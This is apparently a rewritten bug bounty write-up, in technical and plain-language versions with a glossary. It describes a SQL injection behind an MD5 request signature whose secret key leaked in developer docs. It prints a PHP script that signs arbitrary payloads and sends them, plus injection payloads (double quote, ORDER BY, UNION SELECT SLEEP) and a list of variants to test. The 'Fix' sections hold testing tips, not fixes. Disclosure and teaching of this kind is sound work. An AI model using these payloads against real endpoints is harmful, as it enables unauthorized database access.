double qoute injection
A SQL injection existed in a parameter of an endpoint that required an MD5 signature on every request. Because the secret key used to build the signature was published in the developer documentation, an attacker could sign their own malicious requests and confirm the injection with a time-based delay.
Published on medium.com
I’m going to share this concise writeup for a bug reported to one of bug bounty programs on hackerone
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a short write-up of a SQL injection bug reported to one of the bug bounty programs on HackerOne. The report does not name the program or the target application; the endpoint is shown throughout as site.com/vuln.php, a placeholder. What matters for the write-up is the shape of the feature: a PHP endpoint that takes a param value and a sig value, validates the signature on the backend, and only then processes the request. The signature is an MD5 hash over the parameter value concatenated with a secret key, so a request without a correct sig is rejected before any of the interesting processing happens.

Setup
The researcher needed two things before testing: the exact way signatures are calculated, and the secret key used to generate them. Both came from the developers' documentation, which leaked the SecretKey used in the MD5 signature generation. No accounts, roles or specific tool versions are described in the report. The only tooling mentioned is a small PHP script written to generate signatures automatically, and a note that sqlmap could be used with a custom tamper script.

Finding it
The bug itself was described as very straightforward. The obstacle was the signature: every request has to carry a valid sig, so the backend validates the request first and only then continues to process it. Without knowing how the signature is built, you cannot test the endpoint at all, because your payloads are rejected before they reach the vulnerable code.
The endpoint looks like this:
http://site.com/vuln.php?param=1&[redacted]
The signature scheme, as documented, is:
signature = md5 ( params_value + SecretKey )
In other words, the signature is the MD5 sum of all parameter values concatenated with the SecretKey. With the example SecretKey AABBCCDDEEFFGG, a request with param=1111" needs the following signature:
md5 ( 1111" + AABBCCDDEEFFGG)
= md5(1111"AABBCCDDEEFFGG)
= [redacted]
That gives the final request:
https://site.com/vuln.php?param=1111"&[redacted]
This request triggered a SQL error, which confirmed the injection point.

Exploitation
Step 1: Confirm the injection with a double quote
Sending param=1111" with a correctly computed signature produced a SQL error.
Step 2: Automate signature generation
Because every payload needs a fresh signature, the researcher wrote a small PHP script to avoid computing MD5 hashes by hand for each attempt:
<?php
$param = urlencode($argv[1]);
$SecretKey = "AABBCCDDEEFFGG";
$req = "http://site.com/vuln.php?param=".$param."&sig=".md5($param.$SecretKey);
echo file_get_contents($req);
?>
The script takes the payload as a command-line argument, URL-encodes it, appends the MD5 of the encoded value plus the SecretKey, and fetches the resulting URL.
Step 3: Trigger the error again through the script
Running the script from the terminal with a double quote payload:
$ php exp.php 1"
produced the request:
http://site.com/vuln.php?param=1"&[redacted]
and returned a MySQL error.
Step 4: Probe the query structure
Next, an ORDER BY payload was tried:
$ php exp.php 1" ORDER BY 1 -- +-
which produced:
http://site.com/vuln.php?param=1+ORDER+BY+1--%2B-&[redacted]
The report shows this followed by . . .etc ., meaning several queries were tried in this phase.
Step 5: Prove execution with a time-based payload
The team asked for a proof of concept that would cause a 10 second delay in the server response. The payload used was:
$ php exp.php 1" UNION SELECT 1,SLEEP(10),3 -- +-
which produced:
http://site.com/vuln.php?param=1+UNION+SELECT+1%2CSLEEP%2810%29%2C3--%2B-&[redacted]
This returned a 10 second delay, confirming that the injected SQL was executed.

Step 6: Report
The bug was submitted to the program. It was rated CVSS 10/10 and classified as Critical, and the program paid $2000, which was the maximum payout the program could pay at that time.

Root cause
The param value reaches the database, and a double quote in it produced a SQL error. The signature check only requires knowledge of the SecretKey; it did not stop the injected value from reaching the database. Because the SecretKey was published in the developers' documentation, the signature barrier was effectively removed for anyone who read the docs. The report does not describe any other input handling or query construction details, so the exact query is not shown.
Impact
The researcher demonstrated that injected SQL runs on the endpoint, proven with a time-based SLEEP(10) payload. The report does not enumerate what data could be read or modified, or which database user the application connects as. The CVSS score of 10/10 and the Critical classification reflect the program's own assessment. A valid signature is required: without the SecretKey, requests are rejected before reaching the query.
Fix
Variants to test
- Signed API endpoints with documented keys. Look for developer documentation that includes example signatures or secret keys. A positive result is a request you can sign yourself that reaches application logic, for example by producing a database error with a quote.
- Signature over concatenated values. If the signature is
md5(value + secret), check whether you can compute it for arbitrary payloads once the secret is known. A positive result is a validsigfor a payload containing SQL metacharacters. - Automated scanning with a custom tamper script. The report notes that automated tools will not work because they do not know the signature, and suggests coding a sqlmap tamper script. A positive result is sqlmap identifying the injection through signed requests.
- Double quote injection points. Test string contexts with a double quote. A positive result is a SQL error or a measurable delay with a
SLEEPpayload. - Column enumeration with ORDER BY. Try
ORDER BYpayloads before crafting aUNION SELECT. A positive result is a change in behaviour or an error at a specific column number.
What happened, in plain words
A security researcher found a serious bug in a website that was part of a bug bounty programme on HackerOne. A bug bounty programme is a deal offered by a company: if you find a security problem in their systems and report it responsibly, they pay you a reward (the bounty). The report does not name the company or the website, so throughout this article the address is written as site.com, which is just a placeholder.
The bug was a SQL injection. To understand that, you need to know two things. First, most websites store their information in a database, which is a program that holds data in tables, a bit like a very large, very strict spreadsheet. Second, the website talks to that database using a language called SQL, which is made of instructions like "give me the row where the name is Alice". A SQL injection happens when a website takes something a visitor typed and pastes it straight into one of those instructions without checking it. If the visitor types ordinary text, nothing bad happens. If the visitor types text that contains SQL syntax, the database may treat that text as part of the instruction, and the visitor can then make the database do things the website never intended, such as reveal data or pause.
The interesting part of this story is that the website had a lock on the front door. Every request had to carry a signature, a short code computed from the request and a secret key, so the server could check the request really came from someone authorised. The researcher found the secret key published in the developers' own documentation, which meant the lock could be opened by anyone who read the docs. With the lock open, a single double quote character was enough to break the database instruction and prove the injection.

The setup: what the researcher needed first
Before any testing could start, the researcher needed two pieces of information:
- The exact recipe the website uses to calculate the signature.
- The secret key that goes into that recipe.
Both were found in the developers' documentation. Documentation is the set of pages a company writes to explain how its systems work, usually for other developers who need to connect to them. Publishing a secret key in that documentation is like printing the key to your house on the welcome mat: it is meant to be private, but it is now available to anyone.
The report does not describe any accounts, user roles or specific tool versions. The only tools mentioned are a small PHP script the researcher wrote to generate signatures automatically, and a note that a tool called sqlmap could be used with a custom add-on (a tamper script) to do the same.

Finding the bug
The bug itself was described as very straightforward. The obstacle was the signature. Every request has to carry a valid sig value, and the server checks that value first. Only if the check passes does the server carry on and process the request. This is like a receptionist who checks your invitation before letting you into the building: if your invitation is wrong, you never reach the room where anything happens. Without knowing how the signature is built, you cannot test the endpoint at all, because every payload you send is rejected before it reaches the vulnerable code.
An endpoint is simply a specific address on a server that does one job, like a service window at a counter. You send it a request, it sends back a response. The endpoint in this report looks like this:
http://site.com/vuln.php?param=1&[redacted]
Reading that address from left to right: http:// is the protocol, the way browsers and servers agree to talk. site.com is the server. /vuln.php is the file being run, written in a programming language called PHP, which is commonly used for websites. Everything after the ? is the query string, a list of named values sent along with the request. Here there are two: param, with the value 1, and sig, with the value MD5_HASH. The & separates them.
A hash is a fingerprint for data. You feed some text into a hash function and get back a fixed-length string of letters and numbers. The same input always gives the same output, but you cannot work backwards from the output to the input. MD5 is one particular hash function. It is old and no longer considered secure for protecting passwords, but it is still used in schemes like this one.
The signature scheme, as documented, is:
signature = md5 ( params_value + SecretKey )
In plain words: take the value of the parameter, stick the secret key on the end of it, and run the whole thing through MD5. The result is the signature. The server does the same calculation on its side and compares the two. If they match, the request is accepted.
With the example secret key AABBCCDDEEFFGG, a request with param=1111" needs the following signature:
md5 ( 1111" + AABBCCDDEEFFGG)
= md5(1111"AABBCCDDEEFFGG)
= [redacted]
Line by line: the first line shows the recipe with the actual values filled in. The second line shows the text that is actually fed into MD5, which is the parameter value followed immediately by the secret key, with no space in between. The third line is the result, the fingerprint itself. That result is what goes into the sig part of the address.
That gives the final request:
https://site.com/vuln.php?param=1111"&[redacted]
Here the parameter value is 1111", ending in a double quote character. The double quote is the key detail. In SQL, text values are usually wrapped in quotes, so the database knows where the text starts and ends. If the website pastes your value into a query that already has quotes around it, an extra double quote can end the text early and let whatever follows be read as SQL syntax instead of text. This request triggered a SQL error, which confirmed the injection point: the database complained, which means the quote reached it and changed the meaning of the instruction.

Exploitation, step by step
Step 1: Confirm the injection with a double quote
Sending param=1111" with a correctly computed signature produced a SQL error. This is the moment the researcher knows the door is open: the error is the database telling you it received something it did not expect.
Step 2: Automate signature generation
Every payload needs a fresh signature, because the signature is computed from the payload. Doing that by hand for every attempt would be slow and error-prone, so the researcher wrote a small PHP script:
<?php
$param = urlencode($argv[1]);
$SecretKey = "AABBCCDDEEFFGG";
$req = "http://site.com/vuln.php?param=".$param."&sig=".md5($param.$SecretKey);
echo file_get_contents($req);
?>
Line by line:
<?phpand?>mark the start and end of PHP code inside a file.$param = urlencode($argv[1]);takes the first thing you typed after the script name on the command line ($argv[1]) and runs it throughurlencode. URL encoding replaces characters that are not allowed in a web address with safe codes, for example a space becomes%20. This matters because the payload will be placed inside a URL.$SecretKey = "AABBCCDDEEFFGG";stores the secret key in a variable so it can be used in the calculation.$req = "http://site.com/vuln.php?param=".$param."&sig=".md5($param.$SecretKey);builds the full address. The dots join pieces of text together. Themd5(...)part computes the fingerprint of the encoded parameter followed by the secret key, exactly as the documentation described.echo file_get_contents($req);fetches the address and prints whatever the server sends back.file_get_contentsis a PHP function that reads a URL as if it were a file.
In short: the script takes the payload as a command-line argument, URL-encodes it, appends the MD5 of the encoded value plus the secret key, and fetches the resulting URL. It is a signature machine.
Step 3: Trigger the error again through the script
Running the script from the terminal with a double quote payload:
$ php exp.php 1"
Here php runs the script, exp.php is the script's filename, and 1" is the payload passed as the first argument. The $ at the start is the shell prompt, the symbol your terminal shows to say it is ready for a command.
This produced the request:
http://site.com/vuln.php?param=1"&[redacted]
and returned a MySQL error. MySQL is one popular database program. The error confirms the same result as before, but now it comes through the script, which means the researcher can iterate quickly.
Step 4: Probe the query structure
Next, an ORDER BY payload was tried. A SQL query that returns rows often selects a fixed number of columns, like a table with a set number of columns. ORDER BY 1 tells the database to sort by the first column. If you ask it to sort by a column number that does not exist, it errors. By increasing the number until it breaks, you learn how many columns the query returns. That number matters later, because a UNION SELECT has to match it.
The command was:
$ php exp.php 1" ORDER BY 1 -- +-
which produced:
http://site.com/vuln.php?param=1+ORDER+BY+1--%2B-&[redacted]
A few details in that address. The space after 1" has become +, which is how a space is often encoded in a query string. The -- starts a SQL comment, which tells the database to ignore the rest of the line. That is useful because the original query probably has more text after your value, and the comment stops that text from causing a syntax error.
The report shows this followed by . . .etc ., meaning several queries were tried in this phase, not just one.
Step 5: Prove execution with a time-based payload
The team asked for a proof of concept that would cause a 10 second delay in the server response. A proof of concept is a small demonstration that a bug is real.
The payload used was:
$ php exp.php 1" UNION SELECT 1,SLEEP(10),3 -- +-
UNION SELECT is a SQL feature that appends the results of a second query to the first. SLEEP(10) is a SQL function that makes the database wait ten seconds before answering. If the injection works, the database runs the sleep and the whole response is delayed.
This produced:
http://site.com/vuln.php?param=1+UNION+SELECT+1%2CSLEEP%2810%29%2C3--%2B-&[redacted]
Notice the encoding: the comma between 1 and SLEEP has become %2C, and the brackets around 10 have become %28 and %29. These are URL-encoded forms of those characters, produced by the urlencode call in the script.
This returned a 10 second delay, confirming that the injected SQL was executed. The database did what the researcher told it to do, which is the whole point of the proof.

Step 6: Report
The bug was submitted to the programme. It was rated CVSS 10/10 and classified as Critical. CVSS is a standard scoring system for the severity of a security flaw, where 10 is the maximum. The programme paid $2000, which was the maximum payout the programme could pay at that time.

Why it worked
The param value reaches the database, and a double quote in it produced a SQL error. Parameterisation means keeping the data separate from the instruction, so the database always treats the value as text and never as syntax. Without it, a double quote in the value produced a SQL error.
The signature check only requires knowledge of the secret key; it did not stop the injected value from reaching the database. And because the secret key was published in the developers' documentation, the signature barrier was effectively removed for anyone who read the docs.
What the impact was
The researcher demonstrated that injected SQL runs on the endpoint, proven with a time-based SLEEP(10) payload. In plain words: the researcher could make the database run instructions of their choosing. The report does not enumerate what data could be read or modified, or which database user the application connects as. The CVSS score of 10/10 and the Critical classification reflect the programme's own assessment. A valid signature is required: without the secret key, requests are rejected before reaching the query.
How it should be fixed
Variants to test
If you want to look for similar bugs, here are the patterns to try. Each one is a variation on the same idea.
- Signed API endpoints with documented keys. An API is a way for one program to talk to another, usually over the web, using addresses like the one in this report. Look for developer documentation that includes example signatures or secret keys. A positive result is a request you can sign yourself that reaches application logic, for example by producing a database error with a quote.
- Signature over concatenated values. If the signature is
md5(value + secret), check whether you can compute it for arbitrary payloads once the secret is known. A positive result is a validsigfor a payload containing SQL metacharacters, meaning characters that have special meaning in SQL. - Automated scanning with a custom tamper script. The report notes that automated tools will not work because they do not know the signature, and suggests coding a sqlmap tamper script. A tamper script is a small add-on that changes each request before it is sent, so the tool can keep up with the signature requirement. A positive result is sqlmap identifying the injection through signed requests.
- Double quote injection points. Test string contexts with a double quote. A positive result is a SQL error or a measurable delay with a
SLEEPpayload. - Column enumeration with ORDER BY. Try
ORDER BYpayloads before crafting aUNION SELECT. A positive result is a change in behaviour or an error at a specific column number.
Glossary
- API: a way for one program to talk to another over the web, usually through addresses that accept requests and return responses.
- Bug bounty programme: a deal where a company pays a reward to people who find and responsibly report security problems in its systems.
- Column: a vertical field in a database table, like one heading in a spreadsheet.
- Comment (SQL): text the database ignores, started with
--in many databases, used to stop the rest of a query from running. - Critical: the highest severity label a programme can assign to a bug.
- CVSS: a standard scoring system for the severity of a security flaw, from 0 to 10.
- Database: a program that stores data in tables and answers questions about it.
- Double quote injection: an injection that works by putting a double quote character into a value, breaking out of a text context in a query.
- Endpoint: a specific address on a server that does one job, accepting requests and returning responses.
- Hash: a fingerprint for data, produced by a function that always gives the same output for the same input and cannot be reversed.
- HackerOne: a platform where companies run bug bounty programmes and researchers submit reports.
- MD5: an old hash function that produces a fixed-length fingerprint; no longer secure for passwords but still used in some schemes.
- MySQL: a popular database program.
- ORDER BY: a SQL instruction that sorts results by a column, useful for learning how many columns a query returns.
- Parameter: a named value sent with a request, such as
paramin the address. - Parameterised query: a way of building SQL where data is kept separate from the instruction, so values are never treated as syntax.
- Payload: the piece of text you send to try to trigger a bug.
- PHP: a programming language commonly used to build websites.
- Prepared statement: a pre-built SQL instruction with placeholders for values, a form of parameterisation.
- Proof of concept: a small, safe demonstration that a bug is real.
- Query string: the part of a web address after the
?, containing named values separated by&. - Secret key: a private piece of text used in a calculation to prove a request is authorised.
- Signature: a short code computed from a request and a secret key, used by a server to check the request is genuine.
- SLEEP: a SQL function that makes the database wait a given number of seconds, used to prove an injection ran.
- SQL: the language used to give instructions to a database.
- SQL injection: a bug where user input is pasted into a SQL instruction without checking, letting the input change the instruction.
- sqlmap: a tool that automates finding and exploiting SQL injection.
- Tamper script: a small add-on for sqlmap that changes each request before it is sent.
- Terminal: the text window where you type commands for your computer to run.
- Time-based injection: proving an injection by measuring a delay, rather than by reading data.
- UNION SELECT: a SQL feature that appends the results of a second query to the first.
- URL encoding: replacing characters that are not allowed in a web address with safe codes, such as
%20for a space.